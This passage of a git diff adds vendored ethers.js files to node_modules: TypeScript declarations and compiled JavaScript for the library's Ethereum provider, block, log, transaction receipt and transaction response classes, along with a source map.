* provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; +} +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +export declare function copyRequest(req: TransactionRequest): PreparedTransactionRequest; +/** + * An Interface to indicate a [[Block]] has been included in the + * blockchain. This asserts a Type Guard that necessary properties + * are non-null. + * + * Before a block is included, it is a //pending// block. + */ +export interface MinedBlock extends Block { + /** + * The block number also known as the block height. + */ + readonly number: number; + /** + * The block hash. + */ + readonly hash: string; + /** + * The block timestamp, in seconds from epoch. + */ + readonly timestamp: number; + /** + * The block date, created from the [[timestamp]]. + */ + readonly date: Date; + /** + * The miner of the block, also known as the ``author`` or + * block ``producer``. + */ + readonly miner: string; +} +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +export declare class Block implements BlockParams, Iterable { + #private; + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + readonly number: number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + readonly hash: null | string; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + readonly timestamp: number; + /** + * The block hash of the parent block. + */ + readonly parentHash: string; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot: null | string; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + readonly nonce: string; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + readonly difficulty: bigint; + /** + * The total gas limit for this block. + */ + readonly gasLimit: bigint; + /** + * The total gas used in this block. + */ + readonly gasUsed: bigint; + /** + * The root hash for the global state after applying changes + * in this block. + */ + readonly stateRoot: null | string; + /** + * The hash of the transaction receipts trie. + */ + readonly receiptsRoot: null | string; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + readonly blobGasUsed: null | bigint; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + readonly excessBlobGas: null | bigint; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + readonly miner: string; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + readonly prevRandao: null | string; + /** + * Any extra data the validator wished to include. + */ + readonly extraData: string; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + readonly baseFeePerGas: null | bigint; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block: BlockParams, provider: Provider); + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions(): ReadonlyArray; + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions(): Array; + /** + * Returns a JSON-friendly value. + */ + toJSON(): any; + [Symbol.iterator](): Iterator; + /** + * The number of transactions in this block. + */ + get length(): number; + /** + * The [[link-js-date]] this block was included at. + */ + get date(): null | Date; + /** + * Get the transaction at %%indexe%% within this block. + */ + getTransaction(indexOrHash: number | string): Promise; + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash: number | string): TransactionResponse; + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined(): this is MinedBlock; + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon(): this is (Block & { + baseFeePerGas: bigint; + }); + /** + * @_ignore: + */ + orphanedEvent(): OrphanFilter; +} +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +export declare class Log implements LogParams { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + readonly transactionHash: string; + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + readonly blockHash: string; + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + readonly blockNumber: number; + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + readonly removed: boolean; + /** + * The address of the contract that emitted this log. + */ + readonly address: string; + /** + * The data included in this log when it was emitted. + */ + readonly data: string; + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + readonly topics: ReadonlyArray; + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + readonly index: number; + /** + * The index within the transaction of this log. + */ + readonly transactionIndex: number; + /** + * @_ignore: + */ + constructor(log: LogParams, provider: Provider); + /** + * Returns a JSON-compatible object. + */ + toJSON(): any; + /** + * Returns the block that this log occurred in. + */ + getBlock(): Promise; + /** + * Returns the transaction that this log occurred in. + */ + getTransaction(): Promise; + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + getTransactionReceipt(): Promise; + /** + * @_ignore: + */ + removedEvent(): OrphanFilter; +} +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +export declare class TransactionReceipt implements TransactionReceiptParams, Iterable { + #private; + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + /** + * The address the transaction was sent to. + */ + readonly to: null | string; + /** + * The sender of the transaction. + */ + readonly from: string; + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + readonly contractAddress: null | string; + /** + * The transaction hash. + */ + readonly hash: string; + /** + * The index of this transaction within the block transactions. + */ + readonly index: number; + /** + * The block hash of the [[Block]] this transaction was included in. + */ + readonly blockHash: string; + /** + * The block number of the [[Block]] this transaction was included in. + */ + readonly blockNumber: number; + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + readonly logsBloom: string; + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + readonly gasUsed: bigint; + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + readonly blobGasUsed: null | bigint; + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + readonly cumulativeGasUsed: bigint; + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + readonly gasPrice: bigint; + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + readonly blobGasPrice: null | bigint; + /** + * The [[link-eip-2718]] transaction type. + */ + readonly type: number; + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + readonly status: null | number; + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + readonly root: null | string; + /** + * @_ignore: + */ + constructor(tx: TransactionReceiptParams, provider: Provider); + /** + * The logs for this transaction. + */ + get logs(): ReadonlyArray; + /** + * Returns a JSON-compatible representation. + */ + toJSON(): any; + /** + * @_ignore: + */ + get length(): number; + [Symbol.iterator](): Iterator; + /** + * The total fee for this transaction, in wei. + */ + get fee(): bigint; + /** + * Resolves to the block this transaction occurred in. + */ + getBlock(): Promise; + /** + * Resolves to the transaction this transaction occurred in. + */ + getTransaction(): Promise; + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + getResult(): Promise; + /** + * Resolves to the number of confirmations this transaction has. + */ + confirmations(): Promise; + /** + * @_ignore: + */ + removedEvent(): OrphanFilter; + /** + * @_ignore: + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter; +} +/** + * A **MinedTransactionResponse** is an interface representing a + * transaction which has been mined and allows for a type guard for its + * property values being defined. + */ +export interface MinedTransactionResponse extends TransactionResponse { + /** + * The block number this transaction occurred in. + */ + blockNumber: number; + /** + * The block hash this transaction occurred in. + */ + blockHash: string; + /** + * The date this transaction occurred on. + */ + date: Date; +} +/** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +export declare class TransactionResponse implements TransactionLike, TransactionResponseParams { + #private; + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + readonly provider: Provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockNumber: null | number; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockHash: null | string; + /** + * The index within the block that this transaction resides at. + */ + readonly index: number; + /** + * The transaction hash. + */ + readonly hash: string; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + readonly type: number; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + readonly to: null | string; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + readonly from: string; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + readonly nonce: number; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + readonly gasLimit: bigint; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + readonly gasPrice: bigint; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + readonly maxPriorityFeePerGas: null | bigint; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + readonly maxFeePerGas: null | bigint; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + readonly maxFeePerBlobGas: null | bigint; + /** + * The data. + */ + readonly data: string; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + readonly value: bigint; + /** + * The chain ID. + */ + readonly chainId: bigint; + /** + * The signature. + */ + readonly signature: Signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + readonly accessList: null | AccessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + readonly blobVersionedHashes: null | Array; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + readonly authorizationList: null | Array; + /** + * @_ignore: + */ + constructor(tx: TransactionResponseParams, provider: Provider); + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON(): any; + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + getBlock(): Promise; + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + getTransaction(): Promise; + /** + * Resolve to the number of confirmations this transaction has. + */ + confirmations(): Promise; + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + wait(_confirms?: number, _timeout?: number): Promise; + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined(): this is MinedTransactionResponse; + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy(): this is (TransactionResponse & { + accessList: null; + maxFeePerGas: null; + maxPriorityFeePerGas: null; + }); + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: null; + maxPriorityFeePerGas: null; + }); + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + }); + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun(): this is (TransactionResponse & { + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + maxFeePerBlobGas: bigint; + blobVersionedHashes: Array; + }); + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent(): OrphanFilter; + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter; + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock: number): TransactionResponse; +} +/** + * An Orphan Filter allows detecting when an orphan block has + * resulted in dropping a block or transaction or has resulted + * in transactions changing order. + * + * Not currently fully supported. + */ +export type OrphanFilter = { + orphan: "drop-block"; + hash: string; + number: number; +} | { + orphan: "drop-transaction"; + tx: { + hash: string; + blockHash: string; + blockNumber: number; + }; + other?: { + hash: string; + blockHash: string; + blockNumber: number; + }; +} | { + orphan: "reorder-transaction"; + tx: { + hash: string; + blockHash: string; + blockNumber: number; + }; + other?: { + hash: string; + blockHash: string; + blockNumber: number; + }; +} | { + orphan: "drop-log"; + log: { + transactionHash: string; + blockHash: string; + blockNumber: number; + address: string; + data: string; + topics: ReadonlyArray; + index: number; + }; +}; +/** + * A **TopicFilter** provides a struture to define bloom-filter + * queries. + * + * Each field that is ``null`` matches **any** value, a field that is + * a ``string`` must match exactly that value and ``array`` is + * effectively an ``OR``-ed set, where any one of those values must + * match. + */ +export type TopicFilter = Array>; +/** + * An **EventFilter** allows efficiently filtering logs (also known as + * events) using bloom filters included within blocks. + */ +export interface EventFilter { + address?: AddressLike | Array; + topics?: TopicFilter; +} +/** + * A **Filter** allows searching a specific range of blocks for mathcing + * logs. + */ +export interface Filter extends EventFilter { + /** + * The start block for the filter (inclusive). + */ + fromBlock?: BlockTag; + /** + * The end block for the filter (inclusive). + */ + toBlock?: BlockTag; +} +/** + * A **FilterByBlockHash** allows searching a specific block for mathcing + * logs. + */ +export interface FilterByBlockHash extends EventFilter { + /** + * The blockhash of the specific block for the filter. + */ + blockHash?: string; +} +/** + * A **ProviderEvent** provides the types of events that can be subscribed + * to on a [[Provider]]. + * + * Each provider may include additional possible events it supports, but + * the most commonly supported are: + * + * **``"block"``** - calls the listener with the current block number on each + * new block. + * + * **``"error"``** - calls the listener on each async error that occurs during + * the event loop, with the error. + * + * **``"debug"``** - calls the listener on debug events, which can be used to + * troubleshoot network errors, provider problems, etc. + * + * **``transaction hash``** - calls the listener on each block after the + * transaction has been mined; generally ``.once`` is more appropriate for + * this event. + * + * **``Array``** - calls the listener on each log that matches the filter. + * + * [[EventFilter]] - calls the listener with each matching log + */ +export type ProviderEvent = string | Array> | EventFilter | OrphanFilter; +/** + * A **Provider** is the primary method to interact with the read-only + * content on Ethereum. + * + * It allows access to details about accounts, blocks and transactions + * and the ability to query event logs and simulate contract execution. + * + * Account data includes the [balance](getBalance), + * [transaction count](getTransactionCount), [code](getCode) and + * [state trie storage](getStorage). + * + * Simulating execution can be used to [call](call), + * [estimate gas](estimateGas) and + * [get transaction results](getTransactionResult). + * + * The [[broadcastTransaction]] is the only method which allows updating + * the blockchain, but it is usually accessed by a [[Signer]], since a + * private key must be used to sign the transaction before it can be + * broadcast. + */ +export interface Provider extends ContractRunner, EventEmitterable, NameResolver { + /** + * The provider iteself. + * + * This is part of the necessary API for executing a contract, as + * it provides a common property on any [[ContractRunner]] that + * can be used to access the read-only portion of the runner. + */ + provider: this; + /** + * Shutdown any resources this provider is using. No additional + * calls should be made to this provider after calling this. + */ + destroy(): void; + /** + * Get the current block number. + */ + getBlockNumber(): Promise; + /** + * Get the connected [[Network]]. + */ + getNetwork(): Promise; + /** + * Get the best guess at the recommended [[FeeData]]. + */ + getFeeData(): Promise; + /** + * Get the account balance (in wei) of %%address%%. If %%blockTag%% + * is specified and the node supports archive access for that + * %%blockTag%%, the balance is as of that [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getBalance(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the number of transactions ever sent for %%address%%, which + * is used as the ``nonce`` when sending a transaction. If + * %%blockTag%% is specified and the node supports archive access + * for that %%blockTag%%, the transaction count is as of that + * [[BlockTag]]. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the bytecode for %%address%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getCode(address: AddressLike, blockTag?: BlockTag): Promise; + /** + * Get the storage slot value for %%address%% at slot %%position%%. + * + * @note On nodes without archive access enabled, the %%blockTag%% may be + * **silently ignored** by the node, which may cause issues if relied on. + */ + getStorage(address: AddressLike, position: BigNumberish, blockTag?: BlockTag): Promise; + /** + * Estimates the amount of gas required to execute %%tx%%. + */ + estimateGas(tx: TransactionRequest): Promise; + /** + * Simulate the execution of %%tx%%. If the call reverts, it will + * throw a [[CallExceptionError]] which includes the revert data. + */ + call(tx: TransactionRequest): Promise; + /** + * Broadcasts the %%signedTx%% to the network, adding it to the + * memory pool of any node for which the transaction meets the + * rebroadcast requirements. + */ + broadcastTransaction(signedTx: string): Promise; + /** + * Resolves to the block for %%blockHashOrBlockTag%%. + * + * If %%prefetchTxs%%, and the backend supports including transactions + * with block requests, all transactions will be included and the + * [[Block]] object will not need to make remote calls for getting + * transactions. + */ + getBlock(blockHashOrBlockTag: BlockTag | string, prefetchTxs?: boolean): Promise; + /** + * Resolves to the transaction for %%hash%%. + * + * If the transaction is unknown or on pruning nodes which + * discard old transactions this resolves to ``null``. + */ + getTransaction(hash: string): Promise; + /** + * Resolves to the transaction receipt for %%hash%%, if mined. + * + * If the transaction has not been mined, is unknown or on + * pruning nodes which discard old transactions this resolves to + * ``null``. + */ + getTransactionReceipt(hash: string): Promise; + /** + * Resolves to the result returned by the executions of %%hash%%. + * + * This is only supported on nodes with archive access and with + * the necessary debug APIs enabled. + */ + getTransactionResult(hash: string): Promise; + /** + * Resolves to the list of Logs that match %%filter%% + */ + getLogs(filter: Filter | FilterByBlockHash): Promise>; + /** + * Resolves to the address configured for the %%ensName%% or + * ``null`` if unconfigured. + */ + resolveName(ensName: string): Promise; + /** + * Resolves to the ENS name associated for the %%address%% or + * ``null`` if the //primary name// is not configured. + * + * Users must perform additional steps to configure a //primary name//, + * which is not currently common. + */ + lookupAddress(address: string): Promise; + /** + * Waits until the transaction %%hash%% is mined and has %%confirms%% + * confirmations. + */ + waitForTransaction(hash: string, confirms?: number, timeout?: number): Promise; + /** + * Resolves to the block at %%blockTag%% once it has been mined. + * + * This can be useful for waiting some number of blocks by using + * the ``currentBlockNumber + N``. + */ + waitForBlock(blockTag?: BlockTag): Promise; +} +//# sourceMappingURL=provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider.d.ts.map new file mode 100644 index 000000000000..3063c7a2c049 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,qBAAqB,CAAC;AACrE,OAAO,KAAK,EAAE,YAAY,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AACxE,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AACpD,OAAO,KAAK,EACR,UAAU,EAAE,aAAa,EAAE,aAAa,EAAE,iBAAiB,EAAE,QAAQ,EACrE,cAAc,EAAE,eAAe,EAClC,MAAM,yBAAyB,CAAC;AAEjC,OAAO,KAAK,EAAE,cAAc,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,KAAK,EAAE,O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C,IAAI,GAAG,MAAM,CAAC,CAAC;IAErD;;;;;;OAMG;IACH,aAAa,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;IAEvD;;;OAGG;IACH,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,CAAC,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,GAAG,kBAAkB,CAAC,CAAC;IAE1G;;;;;OAKG;IACH,YAAY,CAAC,QAAQ,CAAC,EAAE,QAAQ,GAAG,OAAO,CAAC,KAAK,CAAC,CAAC;CACrD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider.js b/node_modules/ethers/lib.commonjs/providers/provider.js new file mode 100644 index 000000000000..b86f640b14b3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider.js @@ -0,0 +1,1321 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.TransactionResponse = exports.TransactionReceipt = exports.Log = exports.Block = exports.copyRequest = exports.FeeData = void 0; +//import { resolveAddress } from "@ethersproject/address"; +const index_js_1 = require("../utils/index.js"); +const index_js_2 = require("../transaction/index.js"); +const BN_0 = BigInt(0); +// ----------------------- +function getValue(value) { + if (value == null) { + return null; + } + return value; +} +function toJson(value) { + if (value == null) { + return null; + } + return value.toString(); +} +// @TODO? implements Required +/** + * A **FeeData** wraps all the fee-related values associated with + * the network. + */ +class FeeData { + /** + * The gas price for legacy networks. + */ + gasPrice; + /** + * The maximum fee to pay per gas. + * + * The base fee per gas is defined by the network and based on + * congestion, increasing the cost during times of heavy load + * and lowering when less busy. + * + * The actual fee per gas will be the base fee for the block + * and the priority fee, up to the max fee per gas. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxFeePerGas; + /** + * The additional amout to pay per gas to encourage a validator + * to include the transaction. + * + * The purpose of this is to compensate the validator for the + * adjusted risk for including a given transaction. + * + * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559)) + */ + maxPriorityFeePerGas; + /** + * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and + * %%maxPriorityFeePerGas%%. + */ + constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) { + (0, index_js_1.defineProperties)(this, { + gasPrice: getValue(gasPrice), + maxFeePerGas: getValue(maxFeePerGas), + maxPriorityFeePerGas: getValue(maxPriorityFeePerGas) + }); + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this; + return { + _type: "FeeData", + gasPrice: toJson(gasPrice), + maxFeePerGas: toJson(maxFeePerGas), + maxPriorityFeePerGas: toJson(maxPriorityFeePerGas), + }; + } +} +exports.FeeData = FeeData; +; +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +function copyRequest(req) { + const result = {}; + // These could be addresses, ENS names or Addressables + if (req.to) { + result.to = req.to; + } + if (req.from) { + result.from = req.from; + } + if (req.data) { + result.data = (0, index_js_1.hexlify)(req.data); + } + const bigIntKeys = "chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); + for (const key of bigIntKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = (0, index_js_1.getBigInt)(req[key], `request.${key}`); + } + const numberKeys = "type,nonce".split(/,/); + for (const key of numberKeys) { + if (!(key in req) || req[key] == null) { + continue; + } + result[key] = (0, index_js_1.getNumber)(req[key], `request.${key}`); + } + if (req.accessList) { + result.accessList = (0, index_js_2.accessListify)(req.accessList); + } + if (req.authorizationList) { + result.authorizationList = req.authorizationList.slice(); + } + if ("blockTag" in req) { + result.blockTag = req.blockTag; + } + if ("enableCcipRead" in req) { + result.enableCcipRead = !!req.enableCcipRead; + } + if ("customData" in req) { + result.customData = req.customData; + } + if ("blobVersionedHashes" in req && req.blobVersionedHashes) { + result.blobVersionedHashes = req.blobVersionedHashes.slice(); + } + if ("kzg" in req) { + result.kzg = req.kzg; + } + if ("blobs" in req && req.blobs) { + result.blobs = req.blobs.map((b) => { + if ((0, index_js_1.isBytesLike)(b)) { + return (0, index_js_1.hexlify)(b); + } + return Object.assign({}, b); + }); + } + return result; +} +exports.copyRequest = copyRequest; +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +class Block { + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + provider; + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + number; + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + hash; + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + timestamp; + /** + * The block hash of the parent block. + */ + parentHash; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot; + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + nonce; + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + difficulty; + /** + * The total gas limit for this block. + */ + gasLimit; + /** + * The total gas used in this block. + */ + gasUsed; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot; + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + blobGasUsed; + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas; + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + miner; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao; + /** + * Any extra data the validator wished to include. + */ + extraData; + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + baseFeePerGas; + #transactions; + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block, provider) { + this.#transactions = block.transactions.map((tx) => { + if (typeof (tx) !== "string") { + return new TransactionResponse(tx, provider); + } + return tx; + }); + (0, index_js_1.defineProperties)(this, { + provider, + hash: getValue(block.hash), + number: block.number, + timestamp: block.timestamp, + parentHash: block.parentHash, + parentBeaconBlockRoot: block.parentBeaconBlockRoot, + nonce: block.nonce, + difficulty: block.difficulty, + gasLimit: block.gasLimit, + gasUsed: block.gasUsed, + blobGasUsed: block.blobGasUsed, + excessBlobGas: block.excessBlobGas, + miner: block.miner, + prevRandao: getValue(block.prevRandao), + extraData: block.extraData, + baseFeePerGas: getValue(block.baseFeePerGas), + stateRoot: block.stateRoot, + receiptsRoot: block.receiptsRoot, + }); + } + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions() { + return this.#transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return tx.hash; + }); + } + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions() { + const txs = this.#transactions.slice(); + // Doesn't matter... + if (txs.length === 0) { + return []; + } + // Make sure we prefetched the transactions + (0, index_js_1.assert)(typeof (txs[0]) === "object", "transactions were not prefetched with block request", "UNSUPPORTED_OPERATION", { + operation: "transactionResponses()" + }); + return txs; + } + /** + * Returns a JSON-friendly value. + */ + toJSON() { + const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, 